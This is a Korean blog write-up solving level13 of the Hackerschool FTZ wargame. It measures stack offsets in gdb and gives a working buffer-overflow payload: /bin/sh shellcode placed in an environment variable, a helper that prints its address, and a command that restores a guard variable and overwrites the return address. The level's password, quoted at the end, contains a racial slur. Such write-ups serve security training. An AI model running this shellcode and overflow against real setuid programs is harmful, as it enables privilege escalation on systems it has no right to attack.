이번엔 level13을 풀어보자.
로그인을 하고, 파일 목록을 확인하고, 힌트를 확인한다.
코드를 분석해보자.
i 와 buf 의 스택구조만 살펴보면
높은주소 | long i |
낮은주소 | char buf |
i 의 주소가 buf의 주소보다 높다.
따라서 i 의 주소를 덮어 쓸 수 있다!
우선 gdb를 통해 정확한 분석을 해보자.
i 와 buf 의 거리를 구하면 문제를 풀 수 있을것같다.
우선 main+54 부분으로 buf와 ebp 까지의 거리를 구해보자.
buf ~ ebp 거리 = 1048
buf ~ ret 거리 = 1048 + 4 = 1052
main + 69 부분으로 i와 ebp 까지의 거리를 구해보자.
i ~ ebp 거리 = 12
i ~ ret 거리 = 12 + 4 = 16
따라서 buf ~ i 거리 = 1052 - 16 = 1036 이고
i 변수의 끝자리에서 ret 까지의 거리 = (i ~ ret 거리) - (i의 크기) = 16 - 4(long타입 크기) = 12이다.
기본적인 내용들을 파악했으니 환경변수를 이용해 문제를 풀어보자.
tmp 디렉토리에서 밑의 코드들을 차례대로 실행하자.
1. $export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
2. $echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
3. $gcc getenv.c -o getenv
4. $./getenv
0xbffffc8b 를 알아냈다.
위에서 알아낸 buf ~ i 거리와 i 끝자리 ~ ret 까지의 거리를 이용해 페이로드를 작성한다.
아래와 같다.
./attackme `python -c 'print "\x90"*1036+"\x67\x45\x23\x01"+"\x90"*12+"\x8b\xfc\xff\xbf"'`
본래 디렉토리로 이동해 페이로드를 실행하면, 암호가 나온다.
짜잔
level14 암호 : what that nigga want?
'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글
[해커스쿨 FTZ] level15 (0) | 2020.03.12 |
---|---|
[해커스쿨 FTZ] level14 (0) | 2020.03.12 |
[해커스쿨 FTZ] level12 (0) | 2020.03.12 |
[해커스쿨 FTZ] Level11 (0) | 2020.03.12 |
[해커스쿨 FTZ] Level10 (0) | 2020.03.04 |